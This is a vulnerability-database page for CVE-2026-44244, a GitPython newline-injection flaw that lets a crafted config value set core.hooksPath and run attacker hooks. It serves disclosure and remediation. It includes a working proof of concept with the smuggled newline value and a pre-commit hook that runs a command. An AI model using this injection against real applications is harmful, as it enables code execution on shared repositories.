Vulnerability-Lookup

CVE-2026-44244 (GCVE-0-2026-44244)

Vulnerability from cvelistv5 – Published: 2026-05-07 18:22 – Updated: 2026-05-09 03:56

Title

GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath

Summary

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/gitpython-developers/GitPython…	x_refsource_CONFIRM
	https://github.com/gitpython-developers/GitPython…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	gitpython-developers	GitPython	Affected: < 3.1.49

Show details on NVD website

JSON

To clipboard

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                "id": "CVE-2026-44244",
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GHSA-V87R-6Q3F-2J67

Vulnerability from github – Published: 2026-05-06 21:58 – Updated: 2026-05-08 21:52

Summary

GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath

Details

GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.

The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented [core] stanza as a section header, so the injected core.hooksPath becomes effective configuration.

This was found while auditing MLRun's project.push() method, which passes author_name and author_email directly to config_writer().set_value() with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in .git/config.

PoC (standalone, no MLRun required):

import git, subprocess, os

repo = git.Repo("/tmp/testrepo")

with repo.config_writer() as cw:
    cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks")

r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True)
assert r.returncode == 0
print(r.stdout.strip())  # /tmp/hooks

os.makedirs("/tmp/hooks", exist_ok=True)
open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n")
os.chmod("/tmp/hooks/pre-commit", 0o755)

repo.index.add(["README"])
repo.git.commit(m="test")
print(open("/tmp/pwned").read())  # uid=...

Tested on GitPython 3.1.46, git 2.39+.

Impact: This is persistent repo config poisoning. Any user who can supply author_name or author_email to an application calling config_writer().set_value() can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the .git/config of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.

Remediation: set_value() should raise on CR, LF, or NUL in values rather than silently pass them through:

import re

if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)):
    raise ValueError("Git config values must not contain CR, LF, or NUL")

Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.

Affected wherever config_writer().set_value(section, key, user_input) is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their set_value() call sites for externally influenced inputs.

Severity ?

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.48"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "GitPython"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.49"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44244"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T21:58:00Z",
    "nvd_published_at": "2026-05-07T19:16:02Z",
    "severity": "HIGH"
  },
  "details": "`GitConfigParser.set_value()` passes values to Python\u0027s `configparser` without validating for newlines. GitPython\u0027s own `_write()` converts embedded newlines into indented continuation lines (e.g. `\\n` becomes `\\n\\t`), but Git still accepts an indented `[core]` stanza as a section header \u2014 so the injected `core.hooksPath` becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.\n\nThe vulnerability is not merely malformed config output: GitPython\u0027s own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath` becomes effective configuration.\n\nThis was found while auditing MLRun\u0027s `project.push()` method, which passes `author_name` and `author_email` directly to `config_writer().set_value()` with no sanitization. Both parameters cross a trust boundary \u2014 they are caller-supplied API inputs that end up in `.git/config`.\n\nPoC (standalone, no MLRun required):\n\n```python\nimport git, subprocess, os\n\nrepo = git.Repo(\"/tmp/testrepo\")\n\nwith repo.config_writer() as cw:\n    cw.set_value(\"user\", \"name\", \"foo\\n[core]\\nhooksPath=/tmp/hooks\")\n\nr = subprocess.run([\"git\", \"config\", \"core.hooksPath\"], cwd=\"/tmp/testrepo\", capture_output=True, text=True)\nassert r.returncode == 0\nprint(r.stdout.strip())  # /tmp/hooks\n\nos.makedirs(\"/tmp/hooks\", exist_ok=True)\nopen(\"/tmp/hooks/pre-commit\", \"w\").write(\"#!/bin/sh\\nid \u003e /tmp/pwned\\n\")\nos.chmod(\"/tmp/hooks/pre-commit\", 0o755)\n\nrepo.index.add([\"README\"])\nrepo.git.commit(m=\"test\")\nprint(open(\"/tmp/pwned\").read())  # uid=...\n```\n\nTested on GitPython 3.1.46, git 2.39+.\n\nImpact: This is persistent repo config poisoning. Any user who can supply `author_name` or `author_email` to an application calling `config_writer().set_value()` can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the `.git/config` of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.\n\nRemediation: `set_value()` should raise on CR, LF, or NUL in values rather than silently pass them through:\n\n```python\nimport re\n\nif isinstance(value, (str, bytes)) and re.search(r\"[\\r\\n\\x00]\", str(value)):\n    raise ValueError(\"Git config values must not contain CR, LF, or NUL\")\n```\n\nRejecting is safer than stripping \u2014 a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.\n\nAffected wherever `config_writer().set_value(section, key, user_input)` is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others \u2014 worth auditing their `set_value()` call sites for externally influenced inputs.",
  "id": "GHSA-v87r-6q3f-2j67",
  "modified": "2026-05-08T21:52:28Z",
  "published": "2026-05-06T21:58:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44244"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gitpython-developers/GitPython"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath"
}

FKIE_CVE-2026-44244

Vulnerability from fkie_nvd - Published: 2026-05-07 19:16 - Updated: 2026-05-07 21:16

Severity ?

7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49
	security-advisories@github.com	https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python\u0027s configparser without validating for newlines. GitPython\u0027s own _write() converts embedded newlines into indented continuation lines (e.g. \\n becomes \\n\\t), but Git still accepts an indented [core] stanza as a section header \u2014 so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49."
    }
  ],
  "id": "CVE-2026-44244",
  "lastModified": "2026-05-07T21:16:30.283",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 7.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-05-07T19:16:02.357",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Undergoing Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-44244 (GCVE-0-2026-44244)

GHSA-V87R-6Q3F-2J67

FKIE_CVE-2026-44244

Tags

Sightings

Nomenclature